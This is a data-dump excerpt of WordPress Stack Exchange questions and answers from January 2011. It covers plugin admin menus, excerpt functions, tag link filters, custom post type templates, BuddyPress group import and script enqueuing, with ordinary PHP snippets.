  <row Id="6312" PostTypeId="2" ParentId="6311" CreationDate="2011-01-04T14:15:06.093" Score="4" ViewCount="" Body="&lt;p&gt;Something like this should work. &lt;code&gt;$handle&lt;/code&gt; should be the menu's slug; set &lt;code&gt;$sub&lt;/code&gt; to true to search submenus (defaults to top level menus):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function find_my_menu_item( $handle, $sub = false; ){&#xA;  if( !is_admin() || (defined('DOING_AJAX') &amp;amp;&amp;amp; DOING_AJAX) )&#xA;    return false;&#xA;  global $menu, $submenu;&#xA;  $check_menu = $sub ? $submenu : $menu;&#xA;  if( empty( $check_menu ) )&#xA;    return false;&#xA;  foreach( $check_menu as $k =&amp;gt; $item ){&#xA;    if( $sub ){&#xA;      foreach( $item as $sm ){&#xA;        if($handle == $sm[2])&#xA;          return true;&#xA;      }&#xA;    } else {&#xA;      if( $handle == $item[2] )&#xA;        return true;&#xA;    }&#xA;  }&#xA;  return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One last quick note: this should not be used before the menu is set. &lt;code&gt;'admin_init'&lt;/code&gt; is a safe bet for the earliest time to use this. I also added some code to leave gracefully if the menus aren't set.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-01-04T14:15:06.093" CommentCount="1" />
  <row Id="6313" PostTypeId="2" ParentId="6310" CreationDate="2011-01-04T14:27:22.827" Score="1" ViewCount="" Body="&lt;p&gt;I'd say just look at how core does it: &lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/wp-includes/formatting.php.source.html#l1840&quot; rel=&quot;nofollow&quot;&gt;http://phpxref.ftwr.co.uk/wordpress/wp-includes/formatting.php.source.html#l1840&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took the liberty of putting the code here for ease of copying and pasting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;if( empty($post-&amp;gt;post_excerpt) ){&#xA;  $text = apply_filters( 'the_excerpt', get_the_excerpt() );&#xA;} else {&#xA;  $text = $post-&amp;gt;post_excerpt;&#xA;  $text = strip_shortcodes( $text );&#xA;  $text = apply_filters('the_content', $text);&#xA;  $text = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $text);&#xA;  $text = strip_tags($text);&#xA;  $excerpt_length = apply_filters('excerpt_length', 55);&#xA;  $excerpt_more = apply_filters('excerpt_more', ' ' . '[...]');&#xA;  $words = preg_split(&quot;/[\n\r\t ]+/&quot;, $text, $excerpt_length + 1, PREG_SPLIT_NO_EMPTY);&#xA;  if ( count($words) &amp;gt; $excerpt_length ) {&#xA;    array_pop($words);&#xA;    $text = implode(' ', $words);&#xA;    $text = $text . $excerpt_more;&#xA;  } else {&#xA;    $text = implode(' ', $words);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-01-04T14:27:22.827" />
  <row Id="6314" PostTypeId="1" AcceptedAnswerId="6320" CreationDate="2011-01-04T14:31:22.543" Score="0" ViewCount="185" Body="&lt;p&gt;I'm working on a plugin that constructs a top level menu and resides within its own directory in /wp-content/plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the plugin looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function main_menu() {&#xA;  if(function_exists('add_menu_page')) {&#xA;   add_menu_page('Main Menu Title', 'Main Menu', 'administrator', 'main-menu-handle', 'menu-display');&#xA;  } &#xA;}&#xA;add_action('admin_menu', 'main_menu');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to build out additional menu items as plugins in the future so that they may reside in their own directory within /wp-content/plugins but will add themselves to this particular custom menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, these new plugins would register themselves like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_submenu() {&#xA;  if(function_exists('add_submenu_page')) {&#xA;    add_submenu_page('main-menu-handle', 'Widget Title', 'Widget', 'administrator', 'widget-handle', 'widget_display');&#xA;  }&#xA;}&#xA;add_action('admin_menu', 'register_submenu');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't seem to make this work mainly because of the way WordPress uses the admin.php and the page query string parameter to navigate custom menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2011-01-04T15:40:48.423" Title="How do I add a custom sublevel menu specified in one directory to a custom top level menu specified in another directory?" Tags="&lt;plugin-development&gt;&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="6315" PostTypeId="1" CreationDate="2011-01-04T14:35:55.847" Score="0" ViewCount="197" Body="&lt;p&gt;** UPDATED BELOW **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original Question:&#xA;Anyone know how to create a function that changes the url of the_tags so that when one is clicked on, the function searches another domain? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;** UPDATE **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IT WORKS! Thanks a million. What a star. :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ONE MORE Q:&#xA;I have discovered that the search the link is being sent to is complicated. The search term below is &quot;dish&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.myweb.com/search?I_DSC=dish&amp;amp;I_DSC_AND=t&amp;amp;_ACT=search&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the &lt;code&gt;$replace_with = 'http://www.myweb.com/';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;needs to be replaced with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.myweb.com/search?I_DSC=&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then the $link followed by&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;amp;I_DSC_AND=t&amp;amp;_ACT=search&lt;/code&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.myweb.com/search?I_DSC=$link&amp;amp;I_DSC_AND=t&amp;amp;_ACT=search&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;won't work. Is there some alternative?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again - it is really appreciated.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-06T00:36:32.993" Title="Change tags url to search different site" Tags="&lt;filters&gt;&lt;tags&gt;" AnswerCount="2" />
  <row Id="6316" PostTypeId="2" ParentId="6310" CreationDate="2011-01-04T14:43:52.837" Score="2" ViewCount="" Body="&lt;p&gt;Take a look on my answer here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/6225#6225&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understood your question correctly, it does what you are looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place this in &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function excerpt($num) {&#xA;    $limit = $num+1;&#xA;    $excerpt = explode(' ', get_the_excerpt(), $limit);&#xA;    array_pop($excerpt);&#xA;    $excerpt = implode(&quot; &quot;,$excerpt).&quot;... (&amp;lt;a href='&quot; .get_permalink($post-&amp;gt;ID) .&quot; '&amp;gt;Read more&amp;lt;/a&amp;gt;)&quot;;&#xA;    echo $excerpt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your theme, use the code &lt;code&gt;&amp;lt;?php excerpt('22'); ?&amp;gt;&lt;/code&gt; to limit the excerpt to 22 characters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-01-04T14:43:52.837" CommentCount="1" />
  <row Id="6319" PostTypeId="1" CreationDate="2011-01-04T13:21:13.820" Score="2" ViewCount="259" Body="&lt;p&gt;This could be in DocType But I'm looking for a software or just a plugin for wordpress. I wanted to fetch those data from a website and automatically post it on my blog (Wordpress powered). It doesn't have rss or api to get those data, so I need to manually copy and paste it one-by-one and post it on wordpress. Do you know an alternative options on my process? or you know a software or a plugin that does the job?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!   &lt;/p&gt;&#xA;" OwnerUserId="378" LastActivityDate="2011-06-11T17:00:50.130" Title="scrape data from a website and post it on the blog (wordpress)" Tags="&lt;automation&gt;&lt;blogging&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="6320" PostTypeId="2" ParentId="6314" CreationDate="2011-01-04T15:40:48.423" Score="3" ViewCount="" Body="&lt;p&gt;If i'm following, you're having problems adding submenus from a plugin to a parent item registered in another plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add priorities to your &lt;code&gt;admin_menu&lt;/code&gt; actions to make sure the parent(top level) item exists at the point your additional plugins attempt to add items to that menu..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add top level &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'main_menu', 100 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add sub items&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'register_submenu', 105 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Default priority is 10, so your two callbacks were possibly executing in the wrong order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if that helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-04T15:40:48.423" CommentCount="2" />
  <row Id="6321" PostTypeId="2" ParentId="6302" CreationDate="2011-01-04T15:58:12.470" Score="1" ViewCount="" Body="&lt;p&gt;You have at least three different ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Edit directly in the database. The content of the post is stored in post_content column of wp_posts table. Since you are running your own WordPress, you should have full access to that. Just use &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_replace&quot; rel=&quot;nofollow&quot;&gt;SQL to do search and replace&lt;/a&gt;. Remember, the table content is sort-of HTML, so may have tags and/or escaped characters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Export your blog into XML, do search/replace in any UNICODE ready editor and import it back in after deleting original content. I would practice this a couple of times first though, especially checking what happens with images, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Use &lt;a href=&quot;http://codex.wordpress.org/XML-RPC_wp&quot; rel=&quot;nofollow&quot;&gt;WordPress remote access API&lt;/a&gt; to iterate through posts and update them that way. Good for programmers and/or more flexible way of doing things, such as content-specific updates.&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2011-01-04T15:58:12.470" CommentCount="5" />
  <row Id="6322" PostTypeId="2" ParentId="6304" CreationDate="2011-01-04T16:01:22.080" Score="4" ViewCount="" Body="&lt;p&gt;Create a page, call it blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a page template and fetch posts from the custom type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attach the template to the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Example Page Template&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can use any parameters in the query line that you would with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;query posts&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Blog template&#xA;*/&#xA;get_header(); &#xA;&#xA;$blog_query = new WP_Query;&#xA;$blog_query-&amp;gt;query( 'post_type=mycustomtype' ); // &amp;lt;-- Your args on this line&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php if( $blog_query-&amp;gt;have_posts() ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;?php while( $blog_query-&amp;gt;have_posts() ) : $blog_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;        &amp;lt;h2 id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;get_footer();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-01-04T16:18:17.890" LastActivityDate="2011-01-04T16:18:17.890" CommentCount="2" />
  <row Id="6323" PostTypeId="2" ParentId="6315" CreationDate="2011-01-04T16:35:17.227" Score="1" ViewCount="" Body="&lt;p&gt;There's a filter in place specifically for tag links, can be found in source here.&lt;br&gt;&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/category-template.php#L780&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/category-template.php#L780&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the first function you see on the above link, and it's this line that provides a hookable filter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return apply_filters( 'tag_link', $taglink, $tag_id );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's an example of hooking a function to that hook..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'tag_link', 'new_tag_link', 100 );&#xA;&#xA;function new_tag_link( $taglink ) {&#xA;&#xA;    // What to find in the link&#xA;    $find = home_url();&#xA;&#xA;    // What to replace it with&#xA;    $replace_with = 'http://example.com';&#xA;&#xA;    // Run string replacement&#xA;    $taglink = str_replace( $find, $replace_with, $taglink );&#xA;&#xA;    // Return the modified tag link&#xA;    return $taglink;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have not tested the code because as indicated above it's only an example, but in theory the above should do exactly what you asked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; &lt;em&gt;Code provided above works just fine now, you can also use the below code as an alternative, both will effectively do exactly the same though.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'term_links-post_tag', 'replace_tag_domain', 100 );&#xA;&#xA;function replace_tag_domain( $links ) {&#xA;&#xA;    // What to find in the link&#xA;    $find = home_url();&#xA;&#xA;    // What to replace it with&#xA;    $replace_with = 'http://example.com';&#xA;&#xA;    foreach( $links as $k =&amp;gt; $link )&#xA;    // Run string replacement&#xA;        $links[$k] = str_replace( $find, $replace_with, $link );&#xA;&#xA;    // Return the modified tag link&#xA;    return $links;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; &lt;em&gt;Code can go into the functions file of your theme, that's where i do my testing.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-01-05T10:16:25.770" LastActivityDate="2011-01-05T10:16:25.770" CommentCount="2" />
  <row Id="6324" PostTypeId="1" CreationDate="2011-01-04T16:55:35.710" Score="1" ViewCount="115" Body="&lt;p&gt;The usual set-up: www.domain.com - wordpress installation with sidebars and widgets; www.domain.com/forum - bbpress. BBpress is integrated via bbpress-integration plugin. The question is - how can I assign one sidebar with it's widgets to appear on bbpress' sidebar and be fully functional? Widgets contain contents of wordpress. It would be very tedious to write these specific widgets as custom functions to be inserted in bbpress.&lt;/p&gt;&#xA;" OwnerUserId="1355" LastActivityDate="2011-09-01T20:38:49.450" Title="How can I assign widgets from WP to appear in bbpress?" Tags="&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="3" />
  <row Id="6325" PostTypeId="2" ParentId="1567" CreationDate="2011-01-04T17:02:27.293" Score="2" ViewCount="" Body="&lt;h2&gt;Add custom styles to TinyMCE editor&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Sometimes users and clients get confused about how their content is displayed in the editor versus how it is displayed on the front-end. Copying just a few relevant lines from your main stylesheet into your new tinymce.css can help a lot:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_mce_css($wp) {&#xA;    return $wp .= ',' . get_bloginfo('stylesheet_directory') . '/css/tinymce.css';&#xA;}&#xA;add_filter( 'mce_css', 'custom_mce_css' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T13:44:38.363" LastActivityDate="2011-01-26T13:44:38.363" CommunityOwnedDate="2011-01-04T17:02:27.293" CommentCount="2" />
  <row Id="6326" PostTypeId="2" ParentId="6309" CreationDate="2011-01-04T17:33:50.303" Score="1" ViewCount="" Body="&lt;p&gt;Plesk is administration helper software, it is not underlying web server stack (which really matters for WordPress).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see &lt;a href=&quot;http://codex.wordpress.org/Hosting_WordPress&quot; rel=&quot;nofollow&quot;&gt;Hosting WordPress&lt;/a&gt; in Codex for official technical requirements and recommendations.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-04T17:33:50.303" CommentCount="2" />
  <row Id="6327" PostTypeId="1" AcceptedAnswerId="6329" CreationDate="2011-01-04T18:14:06.443" Score="0" ViewCount="137" Body="&lt;p&gt;I have a .csv file with hundreds of rows and 2 columns. First column is the group name, and the second is the group description. I need forum to be active on all of the groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was told to use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;include &quot;../../../wp-load.php&quot;;&#xA;&#xA;$groups = array();&#xA;&#xA;if (($handle = fopen(&quot;groupData.csv&quot;, &quot;r&quot;)) !== FALSE) {&#xA;    while (($data = fgetcsv($handle, 1000, &quot;,&quot;)) !== FALSE) {&#xA;        $group = array('group_id'    =&amp;gt; 'SOME ID', &#xA;                'name'        =&amp;gt; $data[0], &#xA;                'description' =&amp;gt; $data[1], &#xA;                'slug' =&amp;gt; groups_check_slug(sanitize_title(esc_attr($data[2]))), &#xA;                'date_created' =&amp;gt; gmdate( &quot;Y-m-d H:i:s&quot; ), &#xA;                'status' =&amp;gt; 'public' &#xA; );&#xA;        $groups[] = $group;&#xA;    }   &#xA;    fclose($handle);&#xA;}&#xA;&#xA;foreach ($groups as $group) {&#xA;    groups_create_group($group);&#xA;} &#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I created a php file with this code and opened the file in the browser, and I got a blank screen. And it didn't create the groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what to do from here. What should I do?&lt;/p&gt;&#xA;" OwnerUserId="2188" LastEditorUserId="2188" LastEditorDisplayName="" LastEditDate="2011-01-05T02:58:01.760" LastActivityDate="2011-01-05T02:58:01.760" Title="Displaying the errors from my BuddyPress script" Tags="&lt;buddypress&gt;" AnswerCount="1" />
  <row Id="6328" PostTypeId="2" ParentId="6324" CreationDate="2011-01-04T18:21:26.153" Score="0" ViewCount="" Body="&lt;p&gt;You can create an iframe and inside that one you load a template file that contains the sidebar you want to introduce only. Then you can trigger that one in the context of the homepage probably. The only thing left is to fake the request pattern, which can be achieved by overriding variables early, e.g. within a plugin. That plugin could overload the theme as well, but I'm unsure if that really makes sense. Depends a bit on your WP themes structure.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-04T18:21:26.153" />
  <row Id="6329" PostTypeId="2" ParentId="6327" CreationDate="2011-01-04T18:25:44.167" Score="0" ViewCount="" Body="&lt;p&gt;thanks for sharing your script with us. It's totally normal that this script results in a blank screen because it does not do any output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So once you have requested it, it should have created the groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it did not create the groups, then the script failed. It's highly likely you've made an error. Ensure that you can see all errors, so check the error log or enable error displaying and reporting for that file. This is some runtime configuration for a starter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ini_set('display_errors', true);&#xA;error_reporting(E_ALL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-01-04T18:36:06.523" LastActivityDate="2011-01-04T18:36:06.523" CommentCount="10" />
  <row Id="6330" PostTypeId="1" CreationDate="2011-01-04T19:19:27.467" Score="2" ViewCount="66" Body="&lt;p&gt;I manage a wordpress installation that handles quite a bit of traffic. We use WP-Cache and WP Thread Comment and recently, the owner noticed there was 250 comments on 1 post, but only one comment was showing. Here is a screenshot: &lt;a href=&quot;http://cl.ly/3rtk&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/3rtk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the comments can be seen from the control panel of WP. But I think WP Thread Comment doesn't have enough memory to pull all the comments so it just shows the latest one. Anyone have this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2287" LastActivityDate="2011-06-14T04:25:02.780" Title="WordPress comments just vanished even tho there are about 250+ of them. Where did they go?" Tags="&lt;comments&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="0" />
  <row Id="6331" PostTypeId="1" CreationDate="2011-01-04T19:39:56.740" Score="2" ViewCount="103" Body="&lt;p&gt;I administer a social networking site that runs on WP, BP, and WP Multisite.  Currently I have two servers: development and production, but I plan to move to three: development, staging, and production.  Is there some piece of software out there that will allow me to push changes from development to staging, and staging to production, with a single command?  Bonus points if it's web based.  Also, since it's a social networking site, I can't overwrite any content that the users have generated. &lt;/p&gt;&#xA;" OwnerUserId="2117" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-08-14T09:10:53.610" LastActivityDate="2011-08-14T09:15:51.350" Title="Change management solution for BP-based site?" Tags="&lt;multisite&gt;&lt;buddypress&gt;&lt;staging&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="6332" PostTypeId="1" AcceptedAnswerId="6337" CreationDate="2011-01-04T20:55:17.717" Score="0" ViewCount="282" Body="&lt;p&gt;I got the following setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Parent &amp;amp; Child Theme (Parent contains basic stuff, but no loops, style, etc.)&lt;/li&gt;&#xA;&lt;li&gt;inside the functions.php of the Parent Theme i call my init.file, that cares about different stuff&lt;/li&gt;&#xA;&lt;li&gt;right at the begging of the parent functions.php file (before the init happens) i call my constants.php file that defines theme version, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When i now call &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_enqueue_script($name, $path, $parent, VERSION_CONSTANT, $footer)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and set&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$footer == true;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i would expect to get&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) the script loaded in my footer and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) to get the *VERSION_CONSTANT* as my version number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my workaround: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set &lt;code&gt;$footer == true;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;pack it into a function&lt;/li&gt;&#xA;&lt;li&gt;add_action that function to a hook on top&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;...and stupid as it is: it works like a charm and the constant value get's inserted correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone confirm this or has some explanation? I would expect to find the cause for this particular problem at where wp_enqueue_script get's loaded. This would explain why it works with the function (loaded later).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-01-04T21:37:10.943" Title="Use of CONSTANT in wp_enqueue_script not possible?" Tags="&lt;wp-enqueue-script&gt;" AnswerCount="2" FavoriteCount="0" />
  <row Id="6333" PostTypeId="1" AcceptedAnswerId="6338" CreationDate="2011-01-04T21:01:05.840" Score="1" ViewCount="551" Body="&lt;p&gt;I am using the following to help display a list of posts created in a custom post type. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$args = array(&#xA;  'post_type'=&amp;gt;'portfolio',&#xA;  'title_li'=&amp;gt; __('Portfolio')&#xA;);&#xA;wp_list_pages( $args ); &#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However a class is not being added to the list item of the current page (current_page_item).  Any ideas of how I could make this happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2289" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-01-05T10:47:42.433" LastActivityDate="2011-01-05T10:47:42.433" Title="Adding class &quot;current_page_item&quot; for custom post type menu" Tags="&lt;custom-post-types&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="6334" PostTypeId="2" ParentId="6332" CreationDate="2011-01-04T21:23:47.620" Score="0" ViewCount="" Body="&lt;p&gt;I'd need to see your full code implementation to be sure ... but remember that &lt;code&gt;wp_enqueue_script()&lt;/code&gt; always needs to be &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#Example&quot; rel=&quot;nofollow&quot;&gt;called inside a function&lt;/a&gt; attached to the 'init' action hook.  Merely placing the function call inside your code will do nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to follow the format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ... some code ... //&#xA;add_action('init', 'my_scripts');&#xA;// ... some code ... //&#xA;&#xA;&#xA;function my_scripts() {&#xA;    $footer = true;&#xA;    wp_enqueue_script($name, $path, $parent, VERSION_CONSTANT, $footer)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That said, I don't know why you're trying to set &lt;code&gt;$footer&lt;/code&gt; externally when you could just as easily set it inline.  And &lt;code&gt;$footer == true;&lt;/code&gt; doesn't set the value of &lt;code&gt;$footer&lt;/code&gt; ... you're &lt;a href=&quot;http://www.wellho.net/mouth/406_Assignment-equality-and-identity-in-PHP.html&quot; rel=&quot;nofollow&quot;&gt;evaluating equality&lt;/a&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-04T21:23:47.620" CommentCount="4" />
  <row Id="6335" PostTypeId="2" ParentId="6315" CreationDate="2011-01-04T21:24:51.720" Score="0" ViewCount="" Body="&lt;p&gt;Tell me (I'm trying to understand how Wordpress/php works).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function has been added in functions.php yet is is not yet working. Do I need to declare/ register this filter elsewhere for it to work or should it happen straight off once in functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks - really appreciated.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-04T21:24:51.720" CommentCount="1" />
  <row Id="6336" PostTypeId="1" AcceptedAnswerId="6341" CreationDate="2011-01-04T21:32:39.497" Score="1" ViewCount="332" Body="&lt;p&gt;I'm creating a multi-author blog, and have recently added the &quot;Dashboard Notepads&quot; plugin. This allows me to add 1 to 3 dashboard widgets which I can write custom notes in, like news or notices. Is there a way I can set that widget to appear at the top by default? &#xA;I had a look but could only find a plugin which works up to 2.8. Using version 3.0.4.&#xA;I would much rather do this without the need to change code, although I would consider it as a last resort option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1757" LastActivityDate="2011-01-05T01:06:10.390" Title="Can I set a default dashboard layout for all users?" Tags="&lt;admin&gt;&lt;dashboard&gt;&lt;author&gt;" AnswerCount="1" />
